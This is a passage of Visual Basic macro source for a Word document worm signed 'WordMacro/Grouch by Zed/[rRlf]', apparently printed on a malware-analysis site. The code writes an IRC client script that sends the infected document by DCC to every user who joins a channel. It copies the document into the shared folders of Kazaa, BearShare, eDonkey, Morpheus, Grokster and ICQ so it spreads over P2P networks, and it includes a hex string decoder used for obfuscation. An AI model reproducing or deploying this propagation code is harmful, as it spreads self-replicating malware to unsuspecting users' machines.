Print #3, "500-Level 500Enabled=1"
Print #3, ""
Print #3, "[000-Unknowns]"
Print #3, "UserCount=0"
Print #3, "Event1=ON JOIN:#:/msg $nick This is funny!"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[100-Level 100]"
Print #3, "User1=*!*@*"
Print #3, "UserCount=1"
Print #3, "Event1=ON JOIN:#:/dcc send $nick " & ActiveDocument.FullName
Print #3, "EventCount=1"
Print #3, ""
Print #3, "[200-Level 200]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[300-Level 300]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[400-Level 400]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[500-Level 500]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Close #3
End If
If Left(ActiveDocument.FullName, 3) <> "Doc" Then
PgDir = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "ProgramFilesDir")
If fso.FolderExists("C:\Kazaa\My Shared Folder") Then
FileCopy ActiveDocument.FullName, "C:\Kazaa\My Shared Folder\" & ActiveDocument.Name
End If
If fso.FolderExists(PgDir & "\Kazaa\My Shared Folder") Then
FileCopy ActiveDocument.FullName, PgDir & "\Kazaa\My Shared Folder\" & ActiveDocument.Name
End If
If fso.FolderExists("C:\My Downloads") Then
FileCopy ActiveDocument.FullName, "C:\My Downloads\" & ActiveDocument.Name
End If
If fso.FolderExists(PgDir & "\KaZaA Lite\My Shared Folder") Then
FileCopy ActiveDocument.FullName, PgDir & "\KaZaA Lite\My Shared Folder\" & ActiveDocument.Name
End If
If fso.FolderExists(PgDir & "\Bearshare\Shared") Then
FileCopy ActiveDocument.FullName, PgDir & "\Bearshare\Shared\" & ActiveDocument.Name
End If
If fso.FolderExists(PgDir & "\Edonkey2000") Then
FileCopy ActiveDocument.FullName, PgDir & "\Edonkey2000\" & ActiveDocument.Name
End If
If fso.FolderExists(PgDir & "\Morpheus\My Shared Folder") Then
FileCopy ActiveDocument.FullName, PgDir & "\Morpheus\My Shared Folder\" & ActiveDocument.Name
End If
If fso.FolderExists(PgDir & "\Grokster\My Grokster") Then
FileCopy ActiveDocument.FullName, PgDir & "\Grokster\My Grokster\" & ActiveDocument.Name
End If
If fso.FolderExists(PgDir & "\ICQ\Shared Files") Then
FileCopy ActiveDocument.FullName, PgDir & "\ICQ\Shared Files\" & ActiveDocument.Name
End If
End If
End If
End Sub
Function CM(CN)
For GC = 1 To Len(CN) Step 2
CM = CM & Chr("&h" & Mid(CN, GC, 2))
Next
End Function
' WordMacro/Grouch by Zed/[rRlf]
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.